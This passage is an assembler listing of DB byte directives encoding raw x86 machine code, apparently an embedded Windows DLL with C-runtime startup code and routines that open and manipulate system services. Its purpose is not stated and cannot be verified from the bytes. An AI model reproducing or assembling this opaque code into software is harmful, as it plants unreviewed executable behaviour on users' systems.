DB 015H,034H,0C1H,000H,010H,085H,0C0H,075H,012H,0BEH,000H,000H,000H,000H,0FFH
DB 015H,048H,0C1H,000H,010H,03DH,020H,004H,000H,000H,075H,005H,0BEH,001H,000H
DB 000H,000H,057H,0FFH,015H,030H,0C1H,000H,010H,08BH,0C6H,05FH,05EH,0C3H,0CCH
DB 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,08BH,044H,024H,004H
DB 083H,0ECH,040H,08DH,04CH,024H,000H,050H,068H,054H,050H,000H,010H,051H,0FFH
DB 015H,0F0H,0C1H,000H,010H,083H,0C4H,00CH,08DH,04CH,024H,000H,06AH,000H,068H
DB 080H,000H,000H,000H,06AH,003H,06AH,000H,06AH,000H,068H,000H,000H,000H,0C0H
DB 051H,0FFH,015H,044H,0C1H,000H,010H,083H,0F8H,0FFH,075H,006H,033H,0C0H,083H
DB 0C4H,040H,0C3H,08BH,04CH,024H,048H,085H,0C9H,074H,00BH,089H,001H,0B8H,001H
DB 000H,000H,000H,083H,0C4H,040H,0C3H,050H,0FFH,015H,090H,0C1H,000H,010H,0B8H
DB 001H,000H,000H,000H,083H,0C4H,040H,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH
DB 0CCH,0CCH,0CCH,056H,057H,068H,03FH,000H,00FH,000H,06AH,000H,06AH,000H,0FFH
DB 015H,02CH,0C1H,000H,010H,08BH,0F8H,08BH,074H,024H,00CH,056H,057H,0E8H,022H
DB 000H,000H,000H,083H,0C4H,008H,056H,057H,0E8H,068H,000H,000H,000H,083H,0C4H
DB 008H,057H,0FFH,015H,030H,0C1H,000H,010H,0B8H,001H,000H,000H,000H,05FH,05EH
DB 0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,08BH,044H,024H,008H,08BH,04CH,024H,004H
DB 083H,0ECH,01CH,056H,057H,068H,0FFH,001H,00FH,000H,050H,051H,0FFH,015H,038H
DB 0C1H,000H,010H,08BH,0F8H,085H,0FFH,075H,008H,033H,0C0H,05FH,05EH,083H,0C4H
DB 01CH,0C3H,08DH,044H,024H,008H,050H,06AH,001H,057H,0FFH,015H,028H,0C1H,000H
DB 010H,08BH,0F0H,057H,0FFH,015H,030H,0C1H,000H,010H,08BH,0C6H,05FH,05EH,083H
DB 0C4H,01CH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,08BH,044H,024H
DB 008H,056H,08BH,04CH,024H,008H,057H,068H,0FFH,001H,00FH,000H,050H,051H,0FFH
DB 015H,038H,0C1H,000H,010H,08BH,0F0H,085H,0F6H,075H,005H,033H,0C0H,05FH,05EH
DB 0C3H,056H,0FFH,015H,024H,0C1H,000H,010H,08BH,0F8H,056H,0FFH,015H,030H,0C1H
DB 000H,010H,08BH,0C7H,05FH,05EH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH
DB 0CCH,08BH,044H,024H,008H,083H,0F8H,001H,00FH,085H,0ECH,000H,000H,000H,0FFH
DB 015H,06CH,0C1H,000H,010H,083H,03DH,070H,050H,000H,010H,000H,0A3H,090H,050H
DB 000H,010H,075H,03EH,03CH,003H,075H,011H,0A9H,000H,000H,000H,080H,074H,00AH
DB 06AH,002H,0E8H,0BDH,00FH,000H,000H,083H,0C4H,004H,068H,07CH,050H,000H,010H
DB 0FFH,015H,068H,0C1H,000H,010H,085H,0C0H,074H,01AH,068H,074H,050H,000H,010H
DB 050H,0FFH,015H,064H,0C1H,000H,010H,085H,0C0H,074H,00AH,06AH,001H,0E8H,094H
DB 00FH,000H,000H,083H,0C4H,004H,0E8H,0FCH,004H,000H,000H,033H,0C9H,08BH,015H
DB 090H,050H,000H,010H,08AH,0CEH,08BH,0C2H,025H,0FFH,000H,000H,000H,0FFH,005H
DB 05CH,050H,000H,010H,0C1H,0EAH,010H,089H,00DH,09CH,050H,000H,010H,0A3H,098H
DB 050H,000H,010H,089H,015H,090H,050H,000H,010H,0C1H,0E0H,008H,003H,0C1H,0A3H
DB 094H,050H,000H,010H,0E8H,0F2H,002H,000H,000H,085H,0C0H,075H,00AH,0E8H,0D9H
DB 004H,000H,000H,033H,0C0H,0C2H,00CH,000H,0FFH,015H,060H,0C1H,000H,010H,0A3H
DB 040H,0B5H,000H,010H,0E8H,094H,00DH,000H,000H,083H,03DH,040H,0B5H,000H,010H
DB 000H,0A3H,060H,050H,000H,010H,074H,025H,085H,0C0H,074H,021H,0E8H,0BDH,004H
DB 000H,000H,0E8H,068H,00DH,000H,000H,0E8H,0D3H,007H,000H,000H,0E8H,0EEH,006H
DB 000H,000H,0E8H,079H,001H,000H,000H,0B8H,001H,000H,000H,000H,0C2H,00CH,000H
DB 0E8H,08CH,004H,000H,000H,033H,0C0H,0C2H,00CH,000H,085H,0C0H,075H,039H,0A1H
DB 05CH,050H,000H,010H,085H,0C0H,07EH,02BH,048H,083H,03DH,0C8H,050H,000H,010H
DB 000H,0A3H,05CH,050H,000H,010H,075H,005H,0E8H,096H,001H,000H,000H,0E8H,051H
DB 006H,000H,000H,0E8H,0CCH,002H,000H,000H,0E8H,057H,004H,000H,000H,0B8H,001H
DB 000H,000H,000H,0C2H,00CH,000H,033H,0C0H,0C2H,00CH,000H,083H,0F8H,003H,075H
DB 00AH,06AH,000H,0E8H,06EH,003H,000H,000H,083H,0C4H,004H,0B8H,001H,000H,000H
DB 000H,0C2H,00CH,000H,0CCH,0CCH,0CCH,053H,056H,057H,0BBH,001H,000H,000H,000H
DB 08BH,07CH,024H,014H,055H,03BH,0FBH,075H,02AH,001H,01DH,05CH,050H,000H,010H
DB 083H,0FFH,001H,074H,005H,083H,0FFH,002H,075H,050H,0A1H,044H,0B5H,000H,010H
DB 085H,0C0H,074H,02FH,08BH,06CH,024H,01CH,08BH,074H,024H,014H,055H,057H,056H
DB 0FFH,0D0H,08BH,0D8H,0EBH,026H,085H,0FFH,075H,0D8H,0A1H,05CH,050H,000H,010H
DB 085H,0C0H,07EH,008H,048H,0A3H,05CH,050H,000H,010H,0EBH,0C7H,033H,0C0H,05DH
DB 05FH,05EH,05BH,0C2H,00CH,000H,08BH,074H,024H,014H,08BH,06CH,024H,01CH,085H
DB 0DBH,074H,022H,055H,057H,056H,0E8H,043H,0FEH,0FFH,0FFH,08BH,0D8H,0EBH,008H
DB 08BH,074H,024H,014H,08BH,06CH,024H,01CH,085H,0DBH,074H,00EH,055H,057H,056H
DB 0E8H,00BH,0FBH,0FFH,0FFH,08BH,0D8H,085H,0DBH,075H,00FH,083H,0FFH,001H,075H
DB 00AH,0E8H,00BH,002H,000H,000H,0E8H,096H,003H,000H,000H,085H,0FFH,074H,005H
DB 083H,0FFH,003H,075H,022H,055H,057H,056H,0E8H,005H,0FEH,0FFH,0FFH,085H,0C0H
DB 075H,002H,033H,0DBH,085H,0DBH,074H,010H,0A1H,044H,0B5H,000H,010H,085H,0C0H
DB 074H,007H,055H,057H,056H,0FFH,0D0H,08BH,0D8H,08BH,0C3H,05DH,05FH,05EH,05BH
DB 0C2H,00CH,000H,0CCH,0CCH,0A1H,06CH,050H,000H,010H,083H,0F8H,001H,074H,00DH
DB 085H,0C0H,075H,00EH,083H,03DH,070H,050H,000H,010H,001H,075H,005H,0E8H,0C4H
DB 00DH,000H,000H,08BH,044H,024H,004H,050H,0E8H,0FAH,00DH,000H,000H,083H,0C4H
DB 004H,068H,0FFH,000H,000H,000H,0FFH,015H,068H,050H,000H,010H,083H,0C4H,004H
DB 0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0A1H,038H,0B5H,000H,010H,085H
DB 0C0H,074H,002H,0FFH,0D0H,068H,010H,050H,000H,010H,068H,008H,050H,000H,010H
DB 0E8H,0F6H,000H,000H,000H,083H,0C4H,008H,068H,004H,050H,000H,010H,068H,000H
DB 050H,000H,010H,0E8H,0E4H,000H,000H,000H,083H,0C4H,008H,0C3H,08BH,044H,024H
DB 004H,06AH,000H,06AH,001H,050H,0E8H,022H,000H,000H,000H,083H,0C4H,00CH,0C3H
DB 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,06AH
DB 001H,06AH,000H,06AH,000H,0E8H,005H,000H,000H,000H,083H,0C4H,00CH,0C3H,0CCH
DB 053H,056H,0E8H,089H,000H,000H,000H,0C7H,005H,0C8H,050H,000H,010H,001H,000H
DB 000H,000H,083H,07CH,024H,010H,000H,08BH,05CH,024H,014H,088H,01DH,0C4H,050H
DB 000H,010H,075H,03FH,083H,03DH,03CH,0B5H,000H,010H,000H,074H,024H,08BH,035H
DB 034H,0B5H,000H,010H,083H,0EEH,004H,03BH,035H,03CH,0B5H,000H,010H,072H,013H
DB 08BH,006H,085H,0C0H,074H,002H,0FFH,0D0H,083H,0EEH,004H,03BH,035H,03CH,0B5H
DB 000H,010H,073H,0EDH,068H,01CH,050H,000H,010H,068H,014H,050H,000H,010H,0E8H
DB 052H,000H,000H,000H,083H,0C4H,008H,068H,024H,050H,000H,010H,068H,020H,050H
DB 000H,010H,0E8H,040H,000H,000H,000H,083H,0C4H,008H,085H,0DBH,074H,008H,0E8H
DB 024H,000H,000H,000H,05EH,05BH,0C3H,08BH,044H,024H,00CH,050H,0FFH,015H,070H
DB 0C1H,000H,010H,05EH,05BH,0C3H,0CCH,0CCH,0CCH,06AH,00DH,0E8H,079H,00FH,000H
DB 000H,083H,0C4H,004H,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,06AH,00DH,0E8H,0D9H,00FH
DB 000H,000H,083H,0C4H,004H,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,056H,057H,08BH,07CH
DB 024H,010H,08BH,074H,024H,00CH,03BH,0FEH,076H,00FH,08BH,006H,085H,0C0H,074H
DB 002H,0FFH,0D0H,083H,0C6H,004H,03BH,0FEH,077H,0F1H,05FH,05EH,0C3H,056H,0E8H
DB 09AH,00EH,000H,000H,0FFH,015H,07CH,0C1H,000H,010H,0A3H,0CCH,050H,000H,010H
DB 083H,0F8H,0FFH,075H,004H,033H,0C0H,05EH,0C3H,06AH,074H,06AH,001H,0E8H,08DH
DB 010H,000H,000H,083H,0C4H,008H,08BH,0F0H,085H,0F6H,074H,030H,056H,0A1H,0CCH
DB 050H,000H,010H,050H,0FFH,015H,078H,0C1H,000H,010H,085H,0C0H,074H,01FH,056H
DB 0E8H,04DH,000H,000H,000H,083H,0C4H,004H,0FFH,015H,074H,0C1H,000H,010H,089H
DB 006H,0B8H,001H,000H,000H,000H,0C7H,046H,004H,0FFH,0FFH,0FFH,0FFH,05EH,0C3H
DB 033H,0C0H,05EH,0C3H,0E8H,06BH,00EH,000H,000H,0A1H,0CCH,050H,000H,010H,083H
DB 0F8H,0FFH,074H,011H,050H,0FFH,015H,080H,0C1H,000H,010H,0C7H,005H,0CCH,050H
DB 000H,010H,0FFH,0FFH,0FFH,0FFH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH
DB 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,08BH,044H,024H,004H,0C7H,040H,050H,038H
DB 057H,000H,010H,0C7H,040H,014H,001H,000H,000H,000H,0C3H,0CCH,0CCH,0CCH,0CCH
DB 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,056H,057H,0FFH,015H,048H,0C1H
DB 000H,010H,08BH,0F0H,0A1H,0CCH,050H,000H,010H,050H,0FFH,015H,088H,0C1H,000H
DB 010H,08BH,0F8H,085H,0FFH,075H,047H,06AH,074H,06AH,001H,0E8H,0DBH,00FH,000H
DB 000H,083H,0C4H,008H,08BH,0F8H,085H,0FFH,074H,02BH,057H,0A1H,0CCH,050H,000H
DB 010H,050H,0FFH,015H,078H,0C1H,000H,010H,085H,0C0H,074H,01AH,057H,0E8H,09BH
DB 0FFH,0FFH,0FFH,083H,0C4H,004H,0FFH,015H,074H,0C1H,000H,010H,089H,007H,0C7H
DB 047H,004H,0FFH,0FFH,0FFH,0FFH,0EBH,00AH,06AH,010H,0E8H,080H,0FDH,0FFH,0FFH
DB 083H,0C4H,004H,056H,0FFH,015H,084H,0C1H,000H,010H,08BH,0C7H,05FH,05EH,0C3H
DB 0CCH,083H,03DH,0CCH,050H,000H,010H,0FFH,056H,00FH,084H,091H,000H,000H,000H
DB 08BH,074H,024H,008H,085H,0F6H,075H,012H,0A1H,0CCH,050H,000H,010H,050H,0FFH
DB 015H,088H,0C1H,000H,010H,08BH,0F0H,085H,0F6H,074H,069H,08BH,046H,024H,085H
DB 0C0H,074H,009H,050H,0E8H,0BBH,00FH,000H,000H,083H,0C4H,004H,08BH,046H,028H
DB 085H,0C0H,074H,009H,050H,0E8H,0ABH,00FH,000H,000H,083H,0C4H,004H,08BH,046H
DB 030H,085H,0C0H,074H,009H,050H,0E8H,09BH,00FH,000H,000H,083H,0C4H,004H,08BH
DB 046H,038H,085H,0C0H,074H,009H,050H,0E8H,08BH,00FH,000H,000H,083H,0C4H,004H
DB 08BH,046H,040H,085H,0C0H,074H,009H,050H,0E8H,07BH,00FH,000H,000H,083H,0C4H
DB 004H,08BH,046H,044H,085H,0C0H,074H,009H,050H,0E8H,06BH,00FH,000H,000H,083H
DB 0C4H,004H,056H,0E8H,062H,00FH,000H,000H,083H,0C4H,004H,06AH,000H,0A1H,0CCH
DB 050H,000H,010H,050H,0FFH,015H,078H,0C1H,000H,010H,05EH,0C3H,0CCH,0CCH,0CCH
DB 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,06AH,000H,068H
DB 000H,010H,000H,000H,06AH,000H,0FFH,015H,08CH,0C1H,000H,010H,0A3H,030H,0B5H
DB 000H,010H,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0A1H
DB 030H,0B5H,000H,010H,050H,0FFH,015H,054H,0C1H,000H,010H,0C3H,0CCH,0CCH,0CCH
DB 083H,0ECH,044H,053H,056H,057H,055H,068H,080H,004H,000H,000H,0E8H,01FH,00FH
DB 000H,000H,083H,0C4H,004H,08BH,0F0H,085H,0F6H,075H,00AH,06AH,01BH,0E8H,06FH
DB 0FCH,0FFH,0FFH,083H,0C4H,004H,08DH,086H,080H,004H,000H,000H,089H,035H,030H
DB 0B4H,000H,010H,0C7H,005H,020H,0B4H,000H,010H,020H,000H,000H,000H,03BH,0C6H
DB 076H,028H,033H,0C9H,0BAH,00AH,000H,000H,000H,088H,04EH,004H,083H,0C6H,024H
DB 0C7H,046H,0DCH,0FFH,0FFH,0FFH,0FFH,088H,056H,0E1H,089H,04EH,0E4H,0A1H,030H
DB 0B4H,000H,010H,005H,080H,004H,000H,000H,03BH,0C6H,077H,0DFH,08DH,044H,024H
DB 010H,050H,0FFH,015H,0A0H,0C1H,000H,010H,066H,083H,07CH,024H,042H,000H,00FH
DB 084H,0D5H,000H,000H,000H,083H,07CH,024H,044H,000H,00FH,084H,0CAH,000H,000H
DB 000H,08BH,044H,024H,044H,08BH,028H,08DH,078H,004H,081H,0FDH,000H,008H,000H
DB 000H,08DH,05CH,03DH,000H,07CH,005H,0BDH,000H,008H,000H,000H,039H,02DH,020H
DB 0B4H,000H,010H,07DH,05EH,0BEH,034H,0B4H,000H,010H,068H,080H,004H,000H,000H
DB 0E8H,077H,00EH,000H,000H,083H,0C4H,004H,085H,0C0H,074H,042H,08DH,088H,080H
DB 004H,000H,000H,089H,006H,083H,005H,020H,0B4H,000H,010H,020H,03BH,0C8H,076H
DB 022H,033H,0C9H,088H,048H,004H,083H,0C0H,024H,0C7H,040H,0DCH,0FFH,0FFH,0FFH
DB 0FFH,0C6H,040H,0E1H,00AH,089H,048H,0E4H,08BH,016H,081H,0C2H,080H,004H,000H
DB 000H,03BH,0D0H,077H,0E0H,083H,0C6H,004H,039H,02DH,020H,0B4H,000H,010H,07CH
DB 0AFH,0EBH,006H,08BH,02DH,020H,0B4H,000H,010H,033H,0F6H,085H,0EDH,07EH,044H
DB 08BH,003H,083H,0F8H,0FFH,074H,034H,0F6H,007H,001H,074H,02FH,050H,0FFH,015H
DB 098H,0C1H,000H,010H,085H,0C0H,074H,024H,08BH,0C6H,08BH,0CEH,083H,0E0H,0E7H
DB 083H,0E1H,01FH,0C1H,0F8H,003H,0C1H,0E1H,002H,08BH,090H,030H,0B4H,000H,010H
DB 08BH,003H,08DH,00CH,0C9H,003H,0CAH,089H,001H,08AH,017H,088H,051H,004H,046H
DB 047H,083H,0C3H,004H,03BH,0F5H,07CH,0BCH,033H,0F6H,033H,0FFH,08BH,01DH,030H
DB 0B4H,000H,010H,003H,0DEH,083H,03BH,0FFH,075H,057H,0B8H,0F6H,0FFH,0FFH,0FFH
DB 085H,0F6H,0C6H,043H,004H,081H,074H,00EH,08DH,047H,0FFH,083H,0F8H,001H,0B8H
DB 0F5H,0FFH,0FFH,0FFH,083H,0D0H,0FFH,050H,0FFH,015H,09CH,0C1H,000H,010H,083H
DB 0F8H,0FFH,08BH,0E8H,074H,028H,055H,0FFH,015H,098H,0C1H,000H,010H,085H,0C0H
DB 074H,01DH,025H,0FFH,000H,000H,000H,089H,02BH,083H,0F8H,002H,075H,006H,080H
DB 04BH,004H,040H,0EBH,015H,083H,0F8H,003H,075H,010H,080H,04BH,004H,008H,0EBH
DB 00AH,080H,04BH,004H,040H,0EBH,004H,080H,04BH,004H,080H,083H,0C6H,024H,047H
DB 083H,0FEH,06CH,07CH,08FH,0A1H,020H,0B4H,000H,010H,050H,0FFH,015H,094H,0C1H
DB 000H,010H,05DH,05FH,05EH,05BH,083H,0C4H,044H,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH
DB 053H,056H,057H,0BEH,030H,0B4H,000H,010H,055H,08BH,03DH,0A4H,0C1H,000H,010H
DB 08BH,01EH,085H,0DBH,074H,030H,08DH,083H,080H,004H,000H,000H,03BH,0C3H,076H
DB 01BH,033H,0EDH,039H,06BH,008H,074H,006H,08DH,043H,00CH,050H,0FFH,0D7H,083H
DB 0C3H,024H,08BH,006H,005H,080H,004H,000H,000H,03BH,0C3H,077H,0E7H,08BH,006H
DB 050H,0E8H,0EEH,00CH,000H,000H,083H,0C4H,004H,083H,0C6H,004H,081H,0FEH,030H
DB 0B5H,000H,010H,072H,0BFH,05DH,05FH,05EH,05BH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH
DB 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,083H,0ECH,004H,08BH,015H,060H,050H,000H,010H
DB 053H,056H,057H,033H,0F6H,055H,080H,03AH,000H,074H,01AH,080H,03AH,03DH,074H
DB 001H,046H,08BH,0FAH,0B9H,0FFH,0FFH,0FFH,0FFH,02BH,0C0H,0F2H,0AEH,0F7H,0D1H
DB 003H,0D1H,080H,03AH,000H,075H,0E6H,08DH,004H,0B5H,004H,000H,000H,000H,050H
DB 0E8H,0B5H,00CH,000H,000H,0A3H,0ACH,050H,000H,010H,083H,0C4H,004H,08BH,0D8H
DB 085H,0DBH,075H,00AH,06AH,009H,0E8H,000H,0FAH,0FFH,0FFH,083H,0C4H,004H,08BH
DB 02DH,060H,050H,000H,010H,08BH,0C5H,080H,07DH,000H,000H,074H,05EH,08BH,0FDH
DB 0B9H,0FFH,0FFH,0FFH,0FFH,02BH,0C0H,0F2H,0AEH,0F7H,0D1H,089H,04CH,024H,010H
DB 080H,07DH,000H,03DH,074H,03DH,051H,0E8H,072H,00CH,000H,000H,083H,0C4H,004H
DB 089H,003H,085H,0C0H,075H,00AH,06AH,009H,0E8H,0C2H,0F9H,0FFH,0FFH,083H,0C4H
DB 004H,08BH,0FDH,0B9H,0FFH,0FFH,0FFH,0FFH,02BH,0C0H,0F2H,0AEH,0F7H,0D1H,02BH
DB 0F9H,08BH,0C1H,0C1H,0E9H,002H,08BH,0F7H,08BH,03BH,083H,0C3H,004H,0F3H,0A5H
DB 08BH,0C8H,083H,0E1H,003H,0F3H,0A4H,003H,06CH,024H,010H,080H,07DH,000H,000H
DB 075H,0A2H,0A1H,060H,050H,000H,010H,050H,0E8H,006H,00CH,000H,000H,083H,0C4H
DB 004H,0C7H,003H,000H,000H,000H,000H,05DH,05FH,05EH,05BH,083H,0C4H,004H,0C3H
DB 0CCH,0CCH,0CCH,0CCH,0CCH,083H,0ECH,008H,056H,057H,068H,004H,001H,000H,000H
DB 0BEH,0C0H,05EH,000H,010H,056H,06AH,000H,0FFH,015H,05CH,0C1H,000H,010H,0A1H
DB 040H,0B5H,000H,010H,089H,035H,0BCH,050H,000H,010H,080H,038H,000H,074H,006H
DB 08BH,035H,040H,0B5H,000H,010H,08DH,044H,024H,00CH,08DH,04CH,024H,008H,050H
DB 051H,06AH,000H,06AH,000H,056H,0E8H,05EH,000H,000H,000H,08BH,044H,024H,01CH
DB 083H,0C4H,014H,0C1H,0E0H,002H,003H,044H,024H,00CH,050H,0E8H,0BAH,00BH,000H
DB 000H,083H,0C4H,004H,08BH,0F8H,085H,0FFH,075H,00AH,06AH,008H,0E8H,00AH,0F9H
DB 0FFH,0FFH,083H,0C4H,004H,08DH,044H,024H,00CH,08DH,04CH,024H,008H,08BH,054H
DB 024H,008H,050H,051H,08DH,004H,097H,050H,057H,056H,0E8H,01EH,000H,000H,000H
DB 08BH,044H,024H,01CH,083H,0C4H,014H,048H,089H,03DH,0A4H,050H,000H,010H,05FH
DB 0A3H,0A0H,050H,000H,010H,05EH,083H,0C4H,008H,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH
DB 08BH,04CH,024H,014H,053H,08BH,054H,024H,014H,056H,08BH,074H,024H,00CH,057H
DB 08BH,044H,024H,018H,055H,083H,07CH,024H,018H,000H,0C7H,001H,000H,000H,000H
DB 000H,0C7H,002H,001H,000H,000H,000H,074H,00BH,08BH,054H,024H,018H,083H,044H
DB 024H,018H,004H,089H,002H,080H,03EH,022H,074H,046H,0FFH,001H,085H,0C0H,074H
DB 005H,08AH,016H,088H,010H,040H,08AH,016H,046H,033H,0DBH,08AH,0DAH,0F6H,083H
DB 001H,051H,000H,010H,004H,074H,00CH,0FFH,001H,085H,0C0H,074H,005H,08AH,01EH
DB 088H,018H,040H,046H,080H,0FAH,020H,074H,009H,084H,0D2H,074H,009H,080H,0FAH
DB 009H,075H,0CBH,084H,0D2H,075H,003H,04EH,0EBH,050H,085H,0C0H,074H,04CH,0C6H
DB 040H,0FFH,000H,0EBH,046H,046H,080H,03EH,022H,074H,030H,08AH,01EH,084H,0DBH
DB 074H,02AH,033H,0D2H,08AH,0D3H,0F6H,082H,001H,051H,000H,010H,004H,074H,00CH
DB 0FFH,001H,085H,0C0H,074H,006H,08AH,016H,046H,088H,010H,040H,0FFH,001H,085H
DB 0C0H,074H,005H,08AH,016H,088H,010H,040H,046H,080H,03EH,022H,075H,0D0H,0FFH
DB 001H,085H,0C0H,074H,004H,0C6H,000H,000H,040H,080H,03EH,022H,075H,001H,046H
DB 033H,0FFH,080H,03EH,000H,00FH,084H,0E8H,000H,000H,000H,08AH,016H,080H,0FAH
DB 020H,074H,005H,080H,0FAH,009H,075H,003H,046H,0EBH,0F1H,080H,03EH,000H,00FH
DB 084H,0D0H,000H,000H,000H,083H,07CH,024H,018H,000H,074H,00BH,08BH,054H,024H
DB 018H,083H,044H,024H,018H,004H,089H,002H,08BH,054H,024H,020H,0FFH,002H,0BBH
DB 001H,000H,000H,000H,033H,0EDH,080H,03EH,05CH,075H,007H,046H,045H,080H,03EH
DB 05CH,074H,0F9H,080H,03EH,022H,075H,024H,0F7H,0C5H,001H,000H,000H,000H,075H
DB 019H,085H,0FFH,074H,00CH,08DH,056H,001H,080H,03AH,022H,075H,004H,08BH,0F2H
DB 0EBH,002H,033H,0DBH,083H,0FFH,001H,01BH,0FFH,0F7H,0DFH,0C1H,0EDH,001H,08BH
DB 0D5H,04DH,085H,0D2H,074H,011H,085H,0C0H,074H,004H,0C6H,000H,05CH,040H,08BH
DB 0D5H,0FFH,001H,04DH,085H,0D2H,075H,0EFH,08AH,016H,084H,0D2H,074H,04FH,085H
DB 0FFH,075H,00AH,080H,0FAH,020H,074H,046H,080H,0FAH,009H,074H,041H,085H,0DBH
DB 074H,037H,085H,0C0H,074H,021H,033H,0DBH,08AH,0DAH,0F6H,083H,001H,051H,000H
DB 010H,004H,074H,006H,088H,010H,046H,040H,0FFH,001H,08AH,016H,040H,046H,088H
DB 050H,0FFH,0FFH,001H,0E9H,06FH,0FFH,0FFH,0FFH,033H,0DBH,08AH,0DAH,0F6H,083H
DB 001H,051H,000H,010H,004H,074H,003H,046H,0FFH,001H,0FFH,001H,046H,0E9H,057H
DB 0FFH,0FFH,0FFH,085H,0C0H,074H,004H,0C6H,000H,000H,040H,0FFH,001H,0E9H,00FH
DB 0FFH,0FFH,0FFH,083H,07CH,024H,018H,000H,074H,00AH,08BH,054H,024H,018H,0C7H
DB 002H,000H,000H,000H,000H,08BH,054H,024H,020H,05DH,05FH,05EH,05BH,0FFH,002H
DB 0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH
DB 083H,0ECH,018H,053H,056H,057H,055H,06AH,019H,0E8H,092H,007H,000H,000H,08BH
DB 044H,024H,030H,083H,0C4H,004H,050H,0E8H,015H,002H,000H,000H,083H,0C4H,004H
DB 08BH,0E8H,03BH,02DH,004H,052H,000H,010H,075H,014H,06AH,019H,0E8H,0E1H,007H
DB 000H,000H,083H,0C4H,004H,033H,0C0H,05DH,05FH,05EH,05BH,083H,0C4H,018H,0C3H
DB 085H,0EDH,075H,019H,0E8H,09BH,002H,000H,000H,06AH,019H,0E8H,0C4H,007H,000H
DB 000H,083H,0C4H,004H,033H,0C0H,05DH,05FH,05EH,05BH,083H,0C4H,018H,0C3H,0C7H
DB 044H,024H,010H,000H,000H,000H,000H,0B8H,028H,052H,000H,010H,039H,028H,00FH
DB 084H,09BH,000H,000H,000H,083H,0C0H,030H,0FFH,044H,024H,010H,03DH,018H,053H
DB 000H,010H,072H,0EAH,08DH,044H,024H,014H,050H,055H,0FFH,015H,058H,0C1H,000H
DB 010H,083H,0F8H,001H,00FH,085H,059H,001H,000H,000H,0BFH,000H,051H,000H,010H
DB 033H,0C0H,0B9H,040H,000H,000H,000H,0F3H,0ABH,0AAH,083H,07CH,024H,014H,001H
DB 00FH,086H,010H,001H,000H,000H,08DH,074H,024H,01AH,038H,044H,024H,01AH,074H
DB 02CH,08AH,046H,001H,084H,0C0H,074H,025H,033H,0C9H,033H,0D2H,08AH,00EH,08AH
DB 0D0H,03BH,0D1H,072H,011H,080H,089H,001H,051H,000H,010H,004H,041H,033H,0C0H
DB 08AH,046H,001H,03BH,0C1H,073H,0EFH,083H,0C6H,002H,080H,03EH,000H,075H,0D4H
DB 0B8H,001H,000H,000H,000H,080H,088H,001H,051H,000H,010H,008H,040H,03DH,0FFH
DB 000H,000H,000H,072H,0F1H,055H,089H,02DH,004H,052H,000H,010H,0E8H,07FH,001H
DB 000H,000H,083H,0C4H,004H,0E9H,0B9H,000H,000H,000H,0BFH,000H,051H,000H,010H
DB 033H,0C0H,0B9H,040H,000H,000H,000H,0F3H,0ABH,0AAH,08BH,04CH,024H,010H,08DH
DB 014H,049H,08DH,03CH,055H,000H,000H,000H,000H,08DH,00CH,007H,08DH,034H,0CDH
DB 038H,052H,000H,010H,080H,03EH,000H,074H,031H,08AH,04EH,001H,084H,0C9H,074H
DB 02AH,033H,0D2H,033H,0DBH,08AH,016H,08AH,0D9H,03BH,0DAH,072H,016H,08AH,088H
DB 020H,052H,000H,010H,008H,08AH,001H,051H,000H,010H,042H,033H,0DBH,08AH,05EH
DB 001H,03BH,0DAH,073H,0F0H,083H,0C6H,002H,080H,03EH,000H,075H,0CFH,040H,083H
DB 0F8H,004H,072H,0BAH,055H,089H,02DH,004H,052H,000H,010H,0E8H,008H,001H,000H
DB 000H,083H,0C4H,004H,0BAH,010H,052H,000H,010H,0A3H,008H,052H,000H,010H,08BH
DB 044H,024H,010H,0C1H,0E0H,004H,08BH,09CH,040H,030H,052H,000H,010H,06AH,019H
DB 08DH,08CH,040H,02CH,052H,000H,010H,08BH,001H,08BH,049H,008H,089H,002H,089H
DB 05AH,004H,089H,04AH,008H,0E8H,062H,006H,000H,000H,083H,0C4H,004H,033H,0C0H
DB 05DH,05FH,05EH,05BH,083H,0C4H,018H,0C3H,033H,0C0H,0A3H,004H,052H,000H,010H
DB 0B9H,010H,052H,000H,010H,06AH,019H,0A3H,008H,052H,000H,010H,033H,0C0H,089H
DB 001H,089H,041H,004H,089H,041H,008H,0E8H,033H,006H,000H,000H,083H,0C4H,004H
DB 033H,0C0H,05DH,05FH,05EH,05BH,083H,0C4H,018H,0C3H,083H,03DH,01CH,052H,000H
DB 010H,000H,074H,019H,0E8H,0E8H,000H,000H,000H,06AH,019H,0E8H,011H,006H,000H
DB 000H,083H,0C4H,004H,033H,0C0H,05DH,05FH,05EH,05BH,083H,0C4H,018H,0C3H,06AH
DB 019H,0E8H,0FDH,005H,000H,000H,083H,0C4H,004H,0B8H,0FFH,0FFH,0FFH,0FFH,05DH
DB 05FH,05EH,05BH,083H,0C4H,018H,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH
DB 0CCH,0CCH,0CCH,0CCH,0CCH,0C7H,005H,01CH,052H,000H,010H,000H,000H,000H,000H
DB 08BH,044H,024H,004H,083H,0F8H,0FEH,075H,010H,0C7H,005H,01CH,052H,000H,010H
